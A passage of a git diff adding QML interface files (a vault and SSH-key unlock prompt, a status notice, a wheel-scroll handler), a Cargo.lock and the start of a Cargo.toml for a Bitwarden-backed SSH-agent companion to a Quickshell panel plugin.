be unlocked first." + if (request.keyName !== "") { + return prefix + request.keyName + " is needed by " + request.processName + "." + } + return prefix + request.processName + " is asking which SSH keys are available." + } + horizontalAlignment: Text.AlignHCenter + color: screen.panel.fg + } + + UnlockCaption { + text: "Unlocking only loads the key. You will still approve the signing request separately." + horizontalAlignment: Text.AlignHCenter + } + + // Fingerprint status / prompt + Text { + textFormat: Text.PlainText + visible: screen.panel.fingerprintMessage !== "" + width: parent.width + horizontalAlignment: Text.AlignHCenter + text: screen.panel.fingerprintMessage + color: screen.panel.fingerprintScanning ? Color.accent : screen.panel.dim + font.family: screen.panel.fontFamily + font.pixelSize: Style.font.bodySmall + wrapMode: Text.WordWrap + } + + // Offered when fingerprint unlock is on but nothing is stored yet + Text { + textFormat: Text.PlainText + visible: screen.panel.fingerprintUnlock && screen.panel.fingerprintAvailable && !screen.panel.fingerprintStored + width: parent.width + horizontalAlignment: Text.AlignHCenter + text: "󰈷 Unlock once with your master password to enable fingerprint unlock." + color: screen.panel.dim + font.family: screen.panel.fontFamily + font.pixelSize: Style.font.caption + wrapMode: Text.WordWrap + } + + // Checking / keys loading into helper indicator + Rectangle { + visible: screen.panel.status === "checking" + || (screen.panel.status === "unlocked" && screen.panel.sshAgentLoadActive) + width: parent.width + height: loadingText.implicitHeight + Style.space(20) + radius: Style.cornerRadius + color: Util.alpha(Color.popups.text, 0.06) + + Text { + id: loadingText + textFormat: Text.PlainText + anchors.centerIn: parent + width: parent.width - Style.space(24) + text: screen.panel.status === "checking" + ? "Checking vault status..." + : Model.sshAgentLoadingNote() + color: screen.panel.fg + font.family: screen.panel.fontFamily + font.pixelSize: Style.font.bodySmall + wrapMode: Text.WordWrap + horizontalAlignment: Text.AlignHCenter + } + } + + // PIN entry, offered above the password field when one is set + Column { + visible: screen.panel.status === "locked" && screen.panel.pinReady + width: parent.width + spacing: Style.space(8) + + Text { + textFormat: Text.PlainText + text: "PIN" + color: screen.panel.dim + font.family: screen.panel.fontFamily + font.pixelSize: Style.font.caption + font.bold: true + } + + Row { + width: parent.width + spacing: Style.space(8) + + TextField { + id: pinField + width: parent.width - pinUnlockBtn.width - Style.space(8) + placeholderText: "Enter your PIN..." + password: true + text: screen.panel.pinEntry + onTextChanged: screen.panel.pinEntry = text.replace(/[^0-9]/g, "") + onAccepted: screen.panel.submitPinUnlock() + enabled: !screen.panel.pinBusy && !screen.panel.isUnlocking + } + + Button { + id: pinUnlockBtn + text: screen.panel.pinBusy ? "Checking..." : "Unlock" + iconText: screen.panel.pinBusy ? "󰑐" : "󰌿" + iconSpinning: screen.panel.pinBusy + selected: true + accent: Color.accent + fontFamily: screen.panel.fontFamily + focusable: true + enabled: !screen.panel.pinBusy && !screen.panel.isUnlocking + onClicked: screen.panel.submitPinUnlock() + } + } + + Text { + textFormat: Text.PlainText + visible: screen.panel.pinError !== "" + width: parent.width + text: screen.panel.pinError + color: screen.panel.urgent + font.family: screen.panel.fontFamily + font.pixelSize: Style.font.bodySmall + wrapMode: Text.WordWrap + } + + Text { + textFormat: Text.PlainText + text: "or use your master password below" + color: screen.panel.dim + font.family: screen.panel.fontFamily + font.pixelSize: Style.font.caption + } + } + + // Fingerprint / Password column matching Panel.qml + Column { + visible: screen.panel.status === "locked" + width: parent.width + spacing: Style.space(10) + + Button { + visible: screen.panel.fingerprintReady + width: parent.width + text: screen.panel.fingerprintScanning ? "Waiting for fingerprint..." : "Unlock with Fingerprint" + iconText: "󰈷" + selected: true + accent: Color.accent + fontFamily: screen.panel.fontFamily + focusable: true + enabled: !screen.panel.isUnlocking && !screen.panel.fingerprintScanning + onClicked: screen.panel.startFingerprintUnlock() + } + + Row { + width: parent.width + spacing: Style.space(8) + + TextField { + id: passwordField + width: parent.width - eyeBtnUnlock.width - Style.space(8) + placeholderText: "Master password..." + password: !eyeBtnUnlock.revealed + text: screen.panel.masterPassword + onTextChanged: screen.panel.masterPassword = text + onActiveFocusChanged: if (activeFocus) screen.panel.prepareUnlock() + onAccepted: screen.panel.unlockVault() + enabled: !screen.panel.isUnlocking + } + + Button { + id: eyeBtnUnlock + property bool revealed: false + iconText: revealed ? "󰈉" : "󰈈" + tooltipText: revealed ? "Hide password" : "Show password" + fontFamily: screen.panel.fontFamily + focusable: true + onClicked: revealed = !revealed + } + } + + Button { + width: parent.width + text: screen.panel.isUnlocking ? "Unlocking..." : "Unlock Vault" + iconText: screen.panel.isUnlocking ? "󰑐" : "󰌋" + iconSpinning: screen.panel.isUnlocking + selected: true + accent: Color.accent + fontFamily: screen.panel.fontFamily + focusable: true + enabled: !screen.panel.isUnlocking + onClicked: screen.panel.unlockVault() + } + } + + UnlockCaption { + visible: screen.panel.errorMessage !== "" + text: screen.panel.errorMessage + color: screen.panel.urgent + horizontalAlignment: Text.AlignHCenter + } + + UnlockCaption { + visible: screen.panel.status === "unauthenticated" + text: "Sign in from the Bitwarden panel before using vault SSH keys." + color: screen.panel.urgent + horizontalAlignment: Text.AlignHCenter + } + + Row { + width: parent.width + spacing: Style.space(8) + + Button { + text: "Not now (Esc)" + iconText: "󰅘" + fontFamily: screen.panel.fontFamily + fontSize: Style.font.bodySmall + focusable: true + onClicked: screen.panel.denySshRequest() + } + + Button { + visible: screen.panel.sshUnlockPendingCount > 1 + text: "Deny all (" + screen.panel.sshUnlockPendingCount + ")" + iconText: "󰅙" + fontFamily: screen.panel.fontFamily + fontSize: Style.font.bodySmall + focusable: true + onClicked: screen.panel.denyAllSshRequests() + } + + Item { width: Math.max(0, parent.width - Style.space(screen.panel.sshUnlockPendingCount > 1 ? 280 : 160)); height: 1 } + + Text { + textFormat: Text.PlainText + anchors.verticalCenter: parent.verticalCenter + text: screen.panel.sshPromptRemainingSec + "s left" + color: screen.panel.sshPromptRemainingSec <= 5 + ? screen.panel.urgent : screen.panel.dim + font.family: screen.panel.fontFamily + font.pixelSize: Style.font.caption + } + } +} diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/StatusNotice.qml b/plugins/io.github.elevate08.qs-bitwarden-cli/StatusNotice.qml new file mode 100644 index 0000000..b6f29b9 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/StatusNotice.qml @@ -0,0 +1,127 @@ +import QtQuick +import qs.Commons +import qs.Ui + +// A transient panel-local notice. It anchors to its parent as an overlay and +// deliberately reports no height to the parent's content layout. +BorderSurface { + id: root + + required property string statusMessage + required property string errorMessage + required property bool statusSuppressed + required property color foreground + required property color surfaceColor + required property color accentColor + required property color urgentColor + required property string fontFamily + + readonly property bool showsError: root.errorMessage !== "" + readonly property bool showsStatus: root.statusMessage !== "" && !root.statusSuppressed + readonly property bool shown: showsError || showsStatus + readonly property color tone: showsError ? root.urgentColor : root.accentColor + + // Optional recovery offered alongside an error. Empty means none. + property string actionLabel: "" + + signal errorDismissed() + signal actionRequested() + + anchors.horizontalCenter: parent.horizontalCenter + anchors.bottom: parent.bottom + anchors.bottomMargin: Style.space(10) + width: Math.min(parent.width - Style.space(20), Style.space(390)) + implicitHeight: noticeRow.implicitHeight + Style.space(16) + z: 20 + visible: opacity > 0 + enabled: shown + opacity: shown ? 1 : 0 + color: root.surfaceColor + radius: Style.cornerRadius + borderSpec: Border.surfaceSpec("menu", "border", root.tone, 1) + + Accessible.role: Accessible.AlertMessage + Accessible.name: (root.showsError ? "Needs attention: " : "Status: ") + noticeMessage.text + Accessible.ignored: !root.shown + + Behavior on opacity { + NumberAnimation { duration: 140; easing.type: Easing.OutQuad } + } + + // Consume pointer presses on the floating surface so covered controls + // cannot be activated through it. + MouseArea { + anchors.fill: parent + acceptedButtons: Qt.AllButtons + } + + Row { + id: noticeRow + anchors.fill: parent + anchors.margins: Style.space(8) + spacing: Style.space(8) + + Text { + textFormat: Text.PlainText + id: noticeIcon + anchors.verticalCenter: parent.verticalCenter + text: root.showsError ? "󰅚" : "󰋼" + color: root.tone + font.family: root.fontFamily + font.pixelSize: Style.font.body + } + + Column { + anchors.verticalCenter: parent.verticalCenter + width: parent.width - noticeIcon.implicitWidth - Style.space(8) + - (dismissNoticeButton.visible + ? dismissNoticeButton.implicitWidth + Style.space(8) + : 0) + spacing: Style.space(2) + + Text { + textFormat: Text.PlainText + width: parent.width + text: root.showsError ? "NEEDS ATTENTION" : "STATUS" + color: root.tone + font.family: root.fontFamily + font.pixelSize: Style.font.caption + font.bold: true + } + + Text { + textFormat: Text.PlainText + id: noticeMessage + width: parent.width + text: root.showsError ? root.errorMessage : root.statusMessage + color: root.foreground + font.family: root.fontFamily + font.pixelSize: Style.font.bodySmall + wrapMode: Text.Wrap + } + } + + // An error the user can do something about carries the doing with it. A + // failed save is the case this exists for: the message says the vault + // refused it, and the button is the way back to what was typed. + PanelActionButton { + id: noticeActionButton + visible: root.showsError && root.actionLabel !== "" + anchors.verticalCenter: parent.verticalCenter + iconText: "󰑌" + tooltipText: root.actionLabel + fontFamily: root.fontFamily + onClicked: root.actionRequested() + } + + PanelActionButton { + id: dismissNoticeButton + visible: root.showsError + anchors.verticalCenter: parent.verticalCenter + iconText: "󰅖" + tooltipText: "Dismiss message" + fontFamily: root.fontFamily + onClicked: root.errorDismissed() + } + } +} diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/WheelScroll.qml b/plugins/io.github.elevate08.qs-bitwarden-cli/WheelScroll.qml new file mode 100644 index 0000000..4f65afb --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/WheelScroll.qml @@ -0,0 +1,37 @@ +import QtQuick + +// Wheel scrolling for a Flickable, at a rate chosen here rather than inherited. +// +// Qt moves a Flickable by the platform's wheel-scroll-lines, which is tuned for +// a full-screen document and is a crawl in a panel three hundred pixels tall: +// several turns of the wheel to cross one screen of settings. The step below is +// a multiple of that, applied identically everywhere so no two views in the +// panel scroll at different speeds. +// +// Placed inside the Flickable it drives, which it takes as its target. It +// accepts the event, so the Flickable's own slower handling does not also run. +WheelHandler { + id: root + + required property Flickable view + // Pixels per wheel notch. A notch is 120 eighths-of-a-degree. Roughly twice + // what Qt would move on its own -- enough that a screenful is a couple of + // turns rather than half a dozen, and not so much that a notch overshoots + // the thing being scrolled to. One number, one place; every view reads it. + property real step: 90 + + acceptedDevices: PointerDevice.Mouse | PointerDevice.TouchPad + + onWheel: function(event) { + var notches = event.angleDelta.y / 120 + if (notches === 0) return + + // A touchpad sends many small deltas rather than whole notches, and + // multiplying those the same way overshoots wildly. Scale the fractional + // part as it comes; only whole notches get the full step. + var limit = Math.max(0, root.view.contentHeight - root.view.height) + var next = root.view.contentY - notches * root.step + root.view.contentY = Math.max(0, Math.min(limit, next)) + event.accepted = true + } +} diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/agent/Cargo.lock b/plugins/io.github.elevate08.qs-bitwarden-cli/agent/Cargo.lock new file mode 100644 index 0000000..c19d599 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/agent/Cargo.lock @@ -0,0 +1,707 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 4 + +[[package]] +name = "autocfg" +version = "1.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f2032f911046de80f0a198e0901378627c33f59ea0ac00e363d481118bd70a53" + +[[package]] +name = "base64ct" +version = "1.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2af50177e190e07a26ab74f8b1efbfe2ef87da2116221318cb1c2e82baf7de06" + +[[package]] +name = "bitflags" +version = "2.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b588b76d00fde79687d7646a9b5bdf3cc0f655e0bbd080335a95d7e96f3587da" + +[[package]] +name = "block-buffer" +version = "0.10.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71" +dependencies = [ + "generic-array", +] + +[[package]] +name = "bytes" +version = "1.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc652a48c352aef3ea3aed32080501cf3ef6ed5da78602a020c991775b0aff04" + +[[package]] +name = "cfg-if" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801" + +[[package]] +name = "cipher" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad" +dependencies = [ + "crypto-common", + "inout", +] + +[[package]] +name = "const-oid" +version = "0.9.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c2459377285ad874054d797f3ccebf984978aa39129f6eafde5cdc8315b612f8" + +[[package]] +name = "cpufeatures" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "59ed5838eebb26a2bb2e58f6d5b5316989ae9d08bab10e0e6d103e656d1b0280" +dependencies = [ + "libc", +] + +[[package]] +name = "crypto-common" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "78c8292055d1c1df0cce5d180393dc8cce0abec0a7102adb6c7b1eef6016d60a" +dependencies = [ + "generic-array", + "typenum", +] + +[[package]] +name = "curve25519-dalek" +version = "4.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "97fb8b7c4503de7d6ae7b42ab72a5a59857b4c937ec27a3d4539dba95b5ab2be" +dependencies = [ + "cfg-if", + "cpufeatures", + "curve25519-dalek-derive", + "digest", + "fiat-crypto", + "rustc_version", + "subtle", + "zeroize", +] + +[[package]] +name = "curve25519-dalek-derive" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f46882e17999c6cc590af592290432be3bce0428cb0d5f8b6715e4dc7b383eb3" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "der" +version = "0.7.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e7c1832837b905bbfb5101e07cc24c8deddf52f93225eee6ead5f4d63d53ddcb" +dependencies = [ + "const-oid", + "zeroize", +] + +[[package]] +name = "digest" +version = "0.10.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292" +dependencies = [ + "block-buffer", + "const-oid", + "crypto-common", +] + +[[package]] +name = "ed25519" +version = "2.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "115531babc129696a58c64a4fef0a8bf9e9698629fb97e9e40767d235cfbcd53" +dependencies = [ + "signature", +] + +[[package]] +name = "ed25519-dalek" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "70e796c081cee67dc755e1a36a0a172b897fab85fc3f6bc48307991f64e4eca9" +dependencies = [ + "curve25519-dalek", + "ed25519", + "sha2", + "subtle", + "zeroize", +] + +[[package]] +name = "errno" +version = "0.3.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "39cab71617ae0d63f51a36d69f866391735b51691dbda63cf6f96d042b63efeb" +dependencies = [ + "libc", + "windows-sys", +] + +[[package]] +name = "fiat-crypto" +version = "0.2.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "28dea519a9695b9977216879a3ebfddf92f1c08c05d984f8996aecd6ecdc811d" + +[[package]] +name = "generic-array" +version = "0.14.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a" +dependencies = [ + "typenum", + "version_check", +] + +[[package]] +name = "getrandom" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff2abc00be7fca6ebc474524697ae276ad847ad0a6b3faa4bcb027e9a4614ad0" +dependencies = [ + "cfg-if", + "libc", + "wasi", +] + +[[package]] +name = "inout" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "879f10e63c20629ecabbb64a8010319738c66a5cd0c29b02d63d272b03751d01" +dependencies = [ + "generic-array", +] + +[[package]] +name = "itoa" +version = "1.0.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f42a60cbdf9a97f5d2305f08a87dc4e09308d1276d28c869c684d7777685682" + +[[package]] +name = "lazy_static" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe" +dependencies = [ + "spin", +] + +[[package]] +name = "libc" +version = "0.2.189" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3eaf3ede3fee6db1a4c2ee091bf8a8b4dccdc6d17f656fb07896ee72867612f2" + +[[package]] +name = "libm" +version = "0.2.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6d2cec3eae94f9f509c767b45932f1ada8350c4bdb85af2fcab4a3c14807981" + +[[package]] +name = "linux-raw-sys" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a66949e030da00e8c7d4434b251670a91556f4144941d37452769c25d58a53" + +[[package]] +name = "memchr" +version = "2.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf8baf1c55e62ffcace7a9f06f4bd9cd3f0c4beb022d3b367256b91b87513d98" + +[[package]] +name = "mio" +version = "1.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "30d65c71f1ce40ab09135ce117d742b9f8a19ff91a41a8b57ed50bc2de59c427" +dependencies = [ + "libc", + "wasi", + "windows-sys", +] + +[[package]] +name = "num-bigint-dig" +version = "0.8.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e661dda6640fad38e827a6d4a310ff4763082116fe217f279885c97f511bb0b7" +dependencies = [ + "lazy_static", + "libm", + "num-integer", + "num-iter", + "num-traits", + "rand", + "smallvec", + "zeroize", +] + +[[package]] +name = "num-integer" +version = "0.1.47" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7ce2d95d4b3734dc35aa2f45e1aa22cd416814592a4f9d9205e11affd5b8e10b" +dependencies = [ + "num-traits", +] + +[[package]] +name = "num-iter" +version = "0.1.46" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c92800bd69a1eac91786bcfe9da64a897eb72911b8dc3095decbd07429e8048b" +dependencies = [ + "num-integer", + "num-traits", +] + +[[package]] +name = "num-traits" +version = "0.2.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841" +dependencies = [ + "autocfg", + "libm", +] + +[[package]] +name = "pem-rfc7468" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "88b39c9bfcfc231068454382784bb460aae594343fb030d46e9f50a645418412" +dependencies = [ + "base64ct", +] + +[[package]] +name = "pin-project-lite" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a89322df9ebe1c1578d689c92318e070967d1042b512afbe49518723f4e6d5cd" + +[[package]] +name = "pkcs1" +version = "0.7.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c8ffb9f10fa047879315e6625af03c164b16962a5368d724ed16323b68ace47f" +dependencies = [ + "der", + "pkcs8", + "spki", +] + +[[package]] +name = "pkcs8" +version = "0.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f950b2377845cebe5cf8b5165cb3cc1a5e0fa5cfa3e1f7f55707d8fd82e0a7b7" +dependencies = [ + "der", + "spki", +] + +[[package]] +name = "ppv-lite86" +version = "0.2.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85eae3c4ed2f50dcfe72643da4befc30deadb458a9b590d720cde2f2b1e97da9" +dependencies = [ + "zerocopy", +] + +[[package]] +name = "proc-macro2" +version = "1.0.107" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "985e7ec9bb745e6ce6535b544d84d6cd6f7ad8bd711c398938ae983b91a766d9" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "qs-bitwarden-ssh-agent" +version = "0.1.0" +dependencies = [ + "ed25519-dalek", + "rand_core", + "rsa", + "rustix", + "serde", + "serde_json", + "sha2", + "signature", + "ssh-encoding", + "ssh-key", + "tokio", + "zeroize", +] + +[[package]] +name = "quote" +version = "1.0.47" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1fbf4db142a473a8d80c26bbf18454ed458bf8d26c8219c331daecfdbd079001" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "rand" +version = "0.8.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e058c7de0b26af77780c769414d6257830bb240f3c38477dbc2c16e5f54d6d4c" +dependencies = [ + "rand_chacha", + "rand_core", +] + +[[package]] +name = "rand_chacha" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" +dependencies = [ + "ppv-lite86", + "rand_core", +] + +[[package]] +name = "rand_core" +version = "0.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" +dependencies = [ + "getrandom", +] + +[[package]] +name = "rsa" +version = "0.9.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8573f03f5883dcaebdfcf4725caa1ecb9c15b2ef50c43a07b816e06799bb12d" +dependencies = [ + "const-oid", + "digest", + "num-bigint-dig", + "num-integer", + "num-traits", + "pkcs1", + "pkcs8", + "rand_core", + "sha2", + "signature", + "spki", + "subtle", + "zeroize", +] + +[[package]] +name = "rustc_version" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cfcb3a22ef46e85b45de6ee7e79d063319ebb6594faafcf1c225ea92ab6e9b92" +dependencies = [ + "semver", +] + +[[package]] +name = "rustix" +version = "1.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6fe4565b9518b83ef4f91bb47ce29620ca828bd32cb7e408f0062e9930ba190" +dependencies = [ + "bitflags", + "errno", + "libc", + "linux-raw-sys", + "windows-sys", +] + +[[package]] +name = "semver" +version = "1.0.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a7852d02fc848982e0c167ef163aaff9cd91dc640ba85e263cb1ce46fae51cd" + +[[package]] +name = "serde" +version = "1.0.229" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4148590afebada386688f18773da617792bf2ef03ffc1e4cbd2b1d45b023e0ba" +dependencies = [ + "serde_core", + "serde_derive", +] + +[[package]] +name = "serde_core" +version = "1.0.229" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "67dca2c9c51e58a4791a4b1ed58308b39c64224d349a935ab5039aa360942a48" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_derive" +version = "1.0.229" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e7a5d71263a5a7d47b41f6b3f06ba276f10cc18b0931f1799f710578e2309348" +dependencies = [ + "proc-macro2", + "quote", + "syn 3.0.4", +] + +[[package]] +name = "serde_json" +version = "1.0.151" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c841b55ecdae098c80dcae9cf767f6f8a0c2cdb3416bbef72181df4d0fe73f14" +dependencies = [ + "itoa", + "memchr", + "serde", + "serde_core", + "zmij", +] + +[[package]] +name = "sha2" +version = "0.10.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a7507d819769d01a365ab707794a4084392c824f54a7a6a7862f8c3d0892b283" +dependencies = [ + "cfg-if", + "cpufeatures", + "digest", +] + +[[package]] +name = "signature" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "77549399552de45a898a580c1b41d445bf730df867cc44e6c0233bbc4b8329de" +dependencies = [ + "digest", + "rand_core", +] + +[[package]] +name = "smallvec" +version = "1.15.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8ed6a63f02c8539c91a8685a86f4099661ba3da017932f6ebbea6de3f0fa7c90" + +[[package]] +name = "socket2" +version = "0.6.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c3d1e2c7f27f8d4cb10542a02c49005dbd6e93095799d6f3be745fae9f8fedd4" +dependencies = [ + "libc", + "windows-sys", +] + +[[package]] +name = "spin" +version = "0.9.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3763264f6b73151db08c50ff20d7d8a0b8796e021cdea7ceedad07b80155fa0e" + +[[package]] +name = "spki" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d91ed6c858b01f942cd56b37a94b3e0a1798290327d1236e4d9cf4eaca44d29d" +dependencies = [ + "base64ct", + "der", +] + +[[package]] +name = "ssh-cipher" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "caac132742f0d33c3af65bfcde7f6aa8f62f0e991d80db99149eb9d44708784f" +dependencies = [ + "cipher", + "ssh-encoding", +] + +[[package]] +name = "ssh-encoding" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eb9242b9ef4108a78e8cd1a2c98e193ef372437f8c22be363075233321dd4a15" +dependencies = [ + "base64ct", + "pem-rfc7468", + "sha2", +] + +[[package]] +name = "ssh-key" +version = "0.6.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3b86f5297f0f04d08cabaa0f6bff7cb6aec4d9c3b49d87990d63da9d9156a8c3" +dependencies = [ + "ed25519-dalek", + "num-bigint-dig", + "rand_core", + "rsa", + "sha2", + "signature", + "ssh-cipher", + "ssh-encoding", + "subtle", + "zeroize", +] + +[[package]] +name = "subtle" +version = "2.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "13c2bddecc57b384dee18652358fb23172facb8a2c51ccc10d74c157bdea3292" + +[[package]] +name = "syn" +version = "2.0.119" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "872831b642d1a07999a962a351ed35b955ea2cfc8f3862091e2a240a84f17297" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "syn" +version = "3.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6275cddf4610d1775e6d1fe9469b2e77d0f39fd98fb7450901b821e0c53649f" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "tokio" +version = "1.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "202caea871b69668250d242070849eb495be178ed697a3e98aebce5bc81a0bed" +dependencies = [ + "bytes", + "libc", + "mio", + "pin-project-lite", + "socket2", + "tokio-macros", + "windows-sys", +] + +[[package]] +name = "tokio-macros" +version = "2.7.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "78773a2a397f451582ce068015985c33193cf6dea8b74d2a639fe457b2f07b0e" +dependencies = [ + "proc-macro2", + "quote", + "syn 3.0.4", +] + +[[package]] +name = "typenum" +version = "1.20.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6f5e870be6c3b371b77fe0ee0bafb859fa4964b4404c27de1d380043c4dda20" + +[[package]] +name = "unicode-ident" +version = "1.0.24" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6e4313cd5fcd3dad5cafa179702e2b244f760991f45397d14d4ebf38247da75" + +[[package]] +name = "version_check" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a" + +[[package]] +name = "wasi" +version = "0.11.1+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ccf3ec651a847eb01de73ccad15eb7d99f80485de043efb2f370cd654f4ea44b" + +[[package]] +name = "windows-link" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5" + +[[package]] +name = "windows-sys" +version = "0.61.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ae137229bcbd6cdf0f7b80a31df61766145077ddf49416a728b02cb3921ff3fc" +dependencies = [ + "windows-link", +] + +[[package]] +name = "zerocopy" +version = "0.8.56" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "556764e583adb45a9f8d413c2a147fa7e8d821e48e12b14fd560b607998b75eb" +dependencies = [ + "zerocopy-derive", +] + +[[package]] +name = "zerocopy-derive" +version = "0.8.56" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f2ab42fc20575779bd240faa45f94a74256f755c0fa9e89f0ede20d91d0cdfc1" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "zeroize" +version = "1.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e13c156562582aa81c60cb29407084cdb54c4164760106ab78e6c5b0858cf64e" + +[[package]] +name = "zmij" +version = "1.0.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "29666d0abbfad1e3dc4dcf6144730dd3a3ab225bbbdac83319345b1b44ccfc1b" diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/agent/Cargo.toml b/plugins/io.github.elevate08.qs-bitwarden-cli/agent/Cargo.toml new file mode 100644 index 0000000..1122606 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/agent/Cargo.toml @@ -0,0 +1,52 @@ +[package] +name = "qs-bitwarden-ssh-agent" +version = "0.1.0" +edition = "2021" +rust-version = "1.85" +license = "MIT" +publish = false +description = "Headless SSH-agent companion for the qs-bitwarden-cli Quickshell panel" + +# Why each dependency is here, and why its features are cut this far down, is +# recorded in 